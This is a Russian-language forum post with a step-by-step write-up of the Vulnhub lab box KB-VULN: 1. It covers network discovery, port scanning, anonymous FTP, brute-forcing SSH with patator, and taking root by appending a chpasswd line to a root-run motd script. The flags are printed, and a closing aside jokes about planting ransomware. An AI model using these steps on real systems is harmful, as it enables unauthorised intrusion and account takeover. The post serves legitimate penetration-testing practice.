CTF Writeup KB-VULN: 1 Vulnhub (Уровень: Easy)

Приветствую!
У меня скопилось некое количество записей о прохождении различных коробок с Vulnhub, вот я и решил выложить часть из них сюда. Меньше слов больше дела, начнем с малого, в данном врайтапе представлено прохождение Easy машины KB-VULN: 1 ( Найти и скачать коробку можно тут KB-VULN: 1).


Исходные данные:
Имеется атакуемая машина под управлением Ubuntu linux, на которой есть 2 флага user.txt и flag.txt.
Основная машина (с которой проводится атака) с ОС Kali Linux на борту
Задача: получить 2 флага с целевой машины и права пользователя root. Иными словами - полностью захватить управление над целевой машиной.

После запуска атакуемой машины нужно найти её в сети, для проведения дальнейших действий и сбора информации. Это легко сделать при помощи команды netdiscover:
~$ sudo netdiscover

И видим ip целевой машины в локальной сети, у меня это: 192.168.3.120
Следующий шаг - просканировать машину nmap'ом, чтоб понять какие сервисы на ней имеются и найти исходный вектор для атаки:
~$ nmap -A -p- -v 192.168.3.120

Код:
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.3.131
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 95:84:46:ae:47:21:d1:73:7d:2f:0a:66:87:98:af:d3 (RSA)
|   256 af:79:86:77:00:59:3e:ee:cf:6e:bb:bc:cb:ad:96:cc (ECDSA)
|_  256 9d:4d:2a:a1:65:d4:f2:bd:5b:25:22:ec:bc:6f:66:97 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: OneSchool — Website by Colorlib
| http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Итого, на целевой машине крутится 3 сервиса: 21 порт - ftp (причем с анонимным доступом "anonymous"), 22 порт - ssh и 80 порт - http. Что ж запустим перебор веб-морды и пойдем смотреть ftp:
~$ sudo dirsearch -u 'http://192.168.3.120' -e js,htm,php,bak,html,txt,jpg,png,jpeg -w /usr/share/dirb/wordlists/big.txt -r -f

~$ ftp 192.168.3.120
Login: anonymous
Password: anonymous
1638272528277.png

$ cat .bash_history
Код:
exit
ls
cd /etc/update-motd.d/
ls
nano 00-header
exit

Итак, с фтп мы забрали один единственный файл, который могли, но в нем ничего интересного (для данного этапа). Забудем пока об этом и пойдем смотреть, что же там накопалось на веб-морде...
В принципе, кроме index.php интересного мало, есть доступ к каталогу js (и соответственно к его содержимому), icons, images и др., но нам достаточно index.php, т.к. в коде страницы уже есть подсказка, позволяющая проникнуть в систему...
<!-- Username : sysadmin -->
1638274063882.png

Ну или, как нашел я:
1638274085918.png


Попробуем забрутить ssh (ну а вдруг...), запустим patator и пойдем дальше шарить сайт (если кто-то будет копировать команду ниже, прошу обратить внимание, на то, что я перенес rockyou.txt в свой домашний каталог Lab, у вас он будет находиться в другом месте):
~$ patator ssh_login host=192.168.3.120 user=sysadmin password=FILE0 0=/home/kali/Lab/rockyou.txt -x ignore:mesg='Authentication failed.'
1638272747451.png


Дальнейшие поиски в веб-морде ничего не дали (кроме версии Apache 2.4.29, которая и раньше была известна. Данная версия Apache уязвима для CVE-2021-41773, но в данном случае использовать CVE просто незачем.
А вот брутфорс ssh, как ни странно, дал результат, что ж попробуем подключиться под пользователем "sysadmin", с паролем "password1"...
~$ ssh [email protected]
1638272967605.png

Вуаля, мы на целевой машине, для начала заберем пользовательский флаг:
1638294725394.png

Пользовательский флаг: user.txt = 48a365b4ce1e322a55ae9017f3daf0c0

Теперь надо получить рут, сначала я хотел использовать любимый метод повышения привилегий, через уязвимости ядра, но у пользователя sysadmin нет почти никаких прав, еще и отсутствуют вспомогательные инструменты (gcc, pip и т.д.), так что придется очень сильно попотеть, еще и не факт, что получится. Так что пойдем иным путем... Помним про файлик, стянутый с ftp? Верно, в нем содержится история команд, которые вводил пользователь, а пользователь редактировал некий файл "00-header", пойдем смотреть, что это:
[email protected]:~$ cd /etc/update-motd.d/
1638296138600.png


Ага, ну все ясно, судя по всему, это скрипт, который выполняется каждый раз при подключении пользователей по ssh, причем выполняется под рутом (как видно на скриншоте выше), попробуем модифицировать скрипт и поменять пароль руту:
[email protected]:/etc/update-motd.d$ echo "echo 'root:toor' | sudo chpasswd" >> 00-header

1638298078596.png

Теперь, при следующем подключении, через ssh любого пользователя, утилита chpasswd поменяет пароль для рута на "toor" (или любой другой, добавленный ранее в скрипт), осталось только переподключиться и забрать заслуженный флаг:
1638298235294.png

Рут флаг: flag.txt = 1eedddf9fff436e6648b5e51cb0d2ec7
Все! Машина теперь наша, дальше можно превратить её в кирпич, или закинуть шифровальщик, или задефейсить сайт, все зависит от фантазии)

В заключение: машина оказалось простой, однако на практике нервов она поела не мало. Полагаю есть так же другие пути для прохождения данной коробки, так что, если кто-то найдет другой способ решения, будет интересно, если поделитесь в комментариях...
На этом пожалуй все, в дальнейшем думаю выложить еще несколько прохождений, ну а пока посмотрим, понравится ли эта статья. Спасибо, что дочитали её до конца)
 
Последнее редактирование:
Мы в соцсетях: